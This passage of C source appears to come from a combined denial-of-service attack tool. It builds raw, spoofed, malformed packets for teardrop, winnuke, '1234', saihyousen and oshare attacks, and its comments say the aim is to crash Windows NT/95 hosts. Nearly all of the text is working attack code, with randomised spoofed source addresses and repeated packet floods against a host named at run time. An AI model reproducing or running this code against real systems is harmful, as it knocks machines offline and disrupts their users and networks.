  p_ptr += 4;
  *((u_long *) p_ptr) = 0;  /* ack */
  p_ptr += 4;
  *((u_short *) p_ptr) = htons (8 + PADDING * 2);  /* TCP data offset */
  /* Increases TCP total length to 48 bytes Which is too big! */
  p_ptr += 2;
  *((u_char *) p_ptr) = TH_SYN;  /* flags: mark SYN */
  p_ptr += 1;
  *((u_short *) p_ptr) = seq2 - seq1;  /* window */
  *((u_short *) p_ptr) = 0x44;  /* checksum : this is magic value for NT, W95.  dissasemble M$ C++ to see why, if you have time  */
  *((u_short *) p_ptr) = 0;  /* urgent */

  if (sendto (sock, packet, IPH + TCPH + PADDING, 0, (struct sockaddr *) &sin,
        sizeof (struct sockaddr)) == -1)
    {
      perror ("\nsendto");
      free (packet);
      exit (1);
    }

  /*  We set the fragment offset to be inside of the previous packet's
   *  payload (it overlaps inside the previous packet) but do not include
   *  enough payload to cover complete the datagram.  Just the header will
   *  do, but to crash NT/95 machines, a bit larger of packet seems to work
   *  better.
   */
  p_ptr = &packet[2];    /* IP total length is 2 bytes into the header */
  *((u_short *) p_ptr) = FIX (IPH + MAGIC + 1);
  p_ptr += 4;      /* IP offset is 6 bytes into the header */
  *((u_short *) p_ptr) = FIX (MAGIC);
  p_ptr = &packet[24];    /* hop in to the sequence again... */
  *((u_long *) p_ptr) = seq2;  /* TCP sequence # */

  if (sendto (sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *) &sin, sizeof (struct sockaddr)) == -1)
    {
      perror ("\nsendto");
      free (packet);
      exit (1);
    }
  free (packet);
}

/* teardrop(destination) */

u_long name_resolve (u_char *);
void tear_frags (int, u_long, u_long, u_short, u_short);

int
teardrop (char *tear_host)
{
  int one = 1, count = 0, i, rip_sock;
  u_long src_ip = 0, dst_ip = 0;
  u_short src_prt = 0, dst_prt = 0;
  struct in_addr addr;

  if ((rip_sock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
    {
      perror ("raw socket");
      exit (1);
    }
  if (setsockopt (rip_sock, IPPROTO_IP, IP_HDRINCL, (char *) &one, sizeof (one))
      < 0)
    {
      perror ("IP_HDRINCL");
      exit (1);
    }
  if (!(dst_ip = name_resolve (tear_host)))
    {
      fprintf (stderr, "What the hell kind of IP address is that?\n");
      exit (1);
    }
  src_ip = rand ();
  srandom ((unsigned) (time ((time_t) 0)));
  src_prt = (random () % 0xffff);
  dst_prt = (random () % 0xffff);
  count = COUNT;

  addr.s_addr = src_ip;
  addr.s_addr = dst_ip;

  for (i = 0; i < count; i++)
    {
      tear_frags (rip_sock, src_ip, dst_ip, src_prt, dst_prt);
      fprintf (stderr, "%%");
      usleep (500);
    }
  return (0);
}

/*
 *  Send two IP fragments with pathological offsets.  We use an implementation
 *  independent way of assembling network packets that does not rely on any of
 *  the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
 */

void
tear_frags (int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
      u_short dst_prt)
{
  u_char *packet = NULL, *p_ptr = NULL;    /* packet pointers */
  u_char byte;      /* a byte */
  struct sockaddr_in sin;  /* socket protocol structure */

  sin.sin_family = AF_INET;
  sin.sin_port = src_prt;
  sin.sin_addr.s_addr = dst_ip;

  /*
   * Grab some memory for our packet, align p_ptr to point at the beginning
   * of our packet, and then fill it with zeros.
   */
  packet = (u_char *) malloc (IPH + UDPH + TPADDING);
  p_ptr = packet;
  bzero ((u_char *) p_ptr, IPH + UDPH + TPADDING);

  byte = 0x45;      /* IP version and header length */
  memcpy (p_ptr, &byte, sizeof (u_char));
  p_ptr += 2;      /* IP TOS (skipped) */
  *((u_short *) p_ptr) = FIX (IPH + UDPH + TPADDING);  /* total length */
  p_ptr += 2;
  *((u_short *) p_ptr) = htons (242);  /* IP id */
  p_ptr += 2;
  *((u_short *) p_ptr) |= FIX (IP_MF);  /* IP frag flags and offset */
  p_ptr += 2;
  *((u_short *) p_ptr) = 0x40;  /* IP TTL */
  byte = IPPROTO_UDP;
  memcpy (p_ptr + 1, &byte, sizeof (u_char));
  p_ptr += 4;      /* IP checksum filled in by kernel */
  *((u_long *) p_ptr) = src_ip;  /* IP source address */
  p_ptr += 4;
  *((u_long *) p_ptr) = dst_ip;  /* IP destination address */
  p_ptr += 4;
  *((u_short *) p_ptr) = htons (src_prt);  /* UDP source port */
  p_ptr += 2;
  *((u_short *) p_ptr) = htons (dst_prt);  /* UDP destination port */
  p_ptr += 2;
  *((u_short *) p_ptr) = htons (8 + TPADDING);  /* UDP total length */

  if (sendto (sock, packet, IPH + UDPH + TPADDING, 0, (struct sockaddr *) &sin,
        sizeof (struct sockaddr)) == -1)
    {
      perror ("\nsendto");
      free (packet);
      exit (1);
    }

  /*  We set the fragment offset to be inside of the previous packet's
   *  payload (it overlaps inside the previous packet) but do not include
   *  enough payload to cover complete the datagram.  Just the header will
   *  do, but to crash NT/95 machines, a bit larger of packet seems to work
   *  better.
   */
  p_ptr = &packet[2];    /* IP total length is 2 bytes into the header */
  *((u_short *) p_ptr) = FIX (IPH + MAGIC + 1);
  p_ptr += 4;      /* IP offset is 6 bytes into the header */
  *((u_short *) p_ptr) = FIX (MAGIC);

  if (sendto (sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *) &sin,
        sizeof (struct sockaddr)) == -1)
    {
      perror ("\nsendto");
      free (packet);
      exit (1);
    }
  free (packet);
}

/* winnuke(destination,repeats) */

int winnuke_s;
char *str = "bill_loves_you!";
struct sockaddr_in addr, spoofedaddr;
struct hostent *host;
int
winnuke_sub (int sock, char *server, int port)
{
  struct sockaddr_in blah;
  struct hostent *he;
  bzero ((char *) &blah, sizeof (blah));
  blah.sin_family = AF_INET;
  blah.sin_addr.s_addr = inet_addr (server);
  blah.sin_port = htons (port);
  if ((he = gethostbyname (server)) != NULL)
    {
      bcopy (he->h_addr, (char *) &blah.sin_addr, he->h_length);
    }
  else
    {
      if ((blah.sin_addr.s_addr = inet_addr (server)) < 0)
  {
    perror ("gethostbyname()");
    return (-3);
  }
    }
  if (connect (sock, (struct sockaddr *) &blah, 16) == -1)
    {
      perror ("connect()");
      close (sock);
      return (-4);
    }
  return 0;
}
int
winnuke (char *winnuke_host, int timez)
{
  int wncounter;
  for (wncounter = 0; wncounter < timez; wncounter++)
    {
      if ((winnuke_s = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
  {
    perror ("socket()");
    exit (-1);
  }
      winnuke_sub (winnuke_s, winnuke_host, WNUKEPORT);
      send (winnuke_s, str, strlen (str), MSG_OOB);
      fprintf (stderr, "*");
      usleep (500);
      close (winnuke_s);
    }
  return 0;
}        // this is line 1234 of targa.c, strange coincidence :)

/* 1234 attack(destination) */

int x_resolve (const char *name, unsigned int port,
         struct sockaddr_in *addr);
int sub_1234 (int socket, unsigned long spoof_addr,
        struct sockaddr_in *dest_addr);

int
x1234 (char *one_host)
{
  struct sockaddr_in dest_addr;
  unsigned int i, sock;

  if ((sock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
    return (-1);
  if (x_resolve (one_host, 0, &dest_addr) == -1)
    {
      return (-1);
    }
  for (i = 0; i < 10; i++)
    sub_1234 (sock, rand (), &dest_addr);
  fprintf (stderr, "!");
  close (sock);
  return 0;
}

int
x_resolve (const char *name, unsigned int port, struct sockaddr_in *addr)
{
  struct hostent *host;
  memset (addr, 0, sizeof (struct sockaddr_in));
  addr->sin_family = AF_INET;
  addr->sin_addr.s_addr = inet_addr (name);
  if (addr->sin_addr.s_addr == -1)
    {
      if ((host = gethostbyname (name)) == NULL)
  return (-1);
      addr->sin_family = host->h_addrtype;
      memcpy ((caddr_t) & addr->sin_addr, host->h_addr, host->h_length);
    }
  addr->sin_port = htons (port);
  return (0);
}
unsigned short 
x_cksum (addr, len)
     u_short *addr;
     int len;
{
  register int nleft = len;
  register u_short *w = addr;
  register int sum = 0;
  u_short answer = 0;
  while (nleft > 1)
    {
      sum += *w++;
      nleft -= 2;
    }
  if (nleft == 1)
    {
      *(u_char *) (&answer) = *(u_char *) w;
      sum += answer;
    }
  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  answer = ~sum;
  return (answer);
}

int
sub_1234 (int socket, unsigned long spoof_addr, struct sockaddr_in *dest_addr)
{
  unsigned char *packet;
  struct iphdr *ip;
  struct icmphdr *icmp;

  packet = (unsigned char *) malloc (sizeof (struct iphdr) +
             sizeof (struct icmphdr) + 8);
  ip = (struct iphdr *) packet;
  icmp = (struct icmphdr *) (packet + sizeof (struct iphdr));
  memset (ip, 0, sizeof (struct iphdr) + sizeof (struct icmphdr) + 8);
  ip->ihl = 5;
  ip->version = 4;
  ip->id = htons (1234);
  ip->frag_off |= htons (0x2000);
  ip->ttl = 255;
  ip->protocol = IPPROTO_ICMP;
  ip->saddr = spoof_addr;
  ip->daddr = dest_addr->sin_addr.s_addr;
  ip->check = x_cksum (ip, sizeof (struct iphdr));
  icmp->type = 12;
  icmp->code = 0;
  icmp->checksum = x_cksum (icmp, sizeof (struct icmphdr) + 1);
  if (sendto (socket, packet,
        sizeof (struct iphdr) + sizeof (struct icmphdr) + 1,
        0, (struct sockaddr *) dest_addr,
        sizeof (struct sockaddr)) == -1)
    {
      return (-1);
    }
  ip->tot_len = htons (sizeof (struct iphdr) + sizeof (struct icmphdr) + 8);
  ip->frag_off = htons (8 >> 3);
  ip->frag_off |= htons (0x2000);
  ip->check = x_cksum (ip, sizeof (struct iphdr));
  icmp->type = 0;
  icmp->code = 0;
  icmp->checksum = 0;
  if (sendto (socket, packet,
        sizeof (struct iphdr) + sizeof (struct icmphdr) + 8,
        0, (struct sockaddr *) dest_addr,
        sizeof (struct sockaddr)) == -1)
    {
      return (-1);
    }
  free (packet);    // ph33r phr33 w1lly

  return (0);
}

           /* saihyousen attack(destination) */// this is line no. 1337 :P

int 
saihyousen (char *sai_host)
{
  int fd, x = 1, hosti = 192, hostii = 168, hostiii = 1, meep = 0;
  int fooport = 1, numpack = 0;
  char funhost[15];
  struct sockaddr_in *p;
  struct hostent *he;
  struct sockaddr sa;
  u_char gram[36] =
  {
    0x45, 0x00, 0x00, 0x26, 0x12, 0x34, 0x00, 0x00, 0xff, 0x11, 0xff, 0x7f,
    0x00, 0x00, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80,
    0x8f, 0x00, 0x12, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
  };

  fd = socket (AF_INET, SOCK_RAW, IPPROTO_RAW);
  setsockopt (fd, IPPROTO_IP, IP_HDRINCL, (char *) &x, sizeof (x));
  for (numpack = 0; numpack <= 100; numpack++)
    {
      if (meep == 0)
  {
    ++hosti;
    meep++;
  }
      if (hosti > 254)
  hosti = 1;
      if (meep == 1)
  {
    ++hostii;
    meep++;
  }
      if (hostii > 254)
  hostii = 1;
      if (meep == 2)
  {
    ++hostiii;
    meep = 0;
  }
      if (hostiii > 254)
  hostiii = 1;
      sprintf (funhost, "%i.%i.%i.%i", hosti, hostii, hostiii, hosti);
      he = gethostbyname (funhost);
      bcopy (*(he->h_addr_list), (gram + 12), 4);
      he = gethostbyname (sai_host);
      bcopy (*(he->h_addr_list), (gram + 16), 4);
      fooport++;
      if (fooport > 65530)
  {
    fooport = 1;
  };
      *(u_short *) (gram + 20) = htons ((u_short) fooport);
      *(u_short *) (gram + 22) = htons ((u_short) fooport);
      p = (struct sockaddr_in *) &sa;
      p->sin_family = AF_INET;
      bcopy (*(he->h_addr_list), &(p->sin_addr), sizeof (struct in_addr));
      sendto (fd, &gram, sizeof (gram), 0, (struct sockaddr *) p,
        sizeof (struct sockaddr));
    }
  fprintf (stderr, "+");
  close (fd);
  return 1;
}

/* oshare(destination) */

int osend (int, u_long);

int
oshare (char *o_host)
{
  int loopy;
  int socky = socket (AF_INET, SOCK_RAW, IPPROTO_RAW);
  unsigned long desty = inet_addr (o_host);

  for (loopy = 0; loopy < 500; loopy++)
    osend (socky, desty);
  fprintf (stderr, "|");
  close (socky);
  return 1;
}

int
osend (int sock_send, u_long dst_addr)
{
  char *packet;
  int send_status;
  struct iphdr *ip;
  struct sockaddr_in to;

  packet = (char *) malloc (40);
  ip = (struct iphdr *) (packet);
  memset (packet, 0, 40);

  ip->version = 4;
  ip->ihl = sizeof (struct iphdr) / 4;  //guess it works

  ip->tos = 0x00;
  ip->tot_len = htons (sizeof (struct iphdr) +
           sizeof (struct udphdr));    //hope it works :P

  ip->id = htons (1999);
  ip->frag_off = htons (16383);
  ip->ttl = 0xff;
  ip->protocol = IPPROTO_UDP;
  ip->saddr = htonl (rand ());
  ip->daddr = dst_addr;
  ip->check = in_cksum ((u_short *) ip, ip->ihl);

  to.sin_family = AF_INET;
  to.sin_port = htons (rand ());
  to.sin_addr.s_addr = dst_addr;

  send_status = sendto (sock_send, packet, 40, 0,
      (struct sockaddr *) &to,
      sizeof (struct sockaddr));
  free (packet);    // free willy owns

  return (send_status);
}

/* EOF */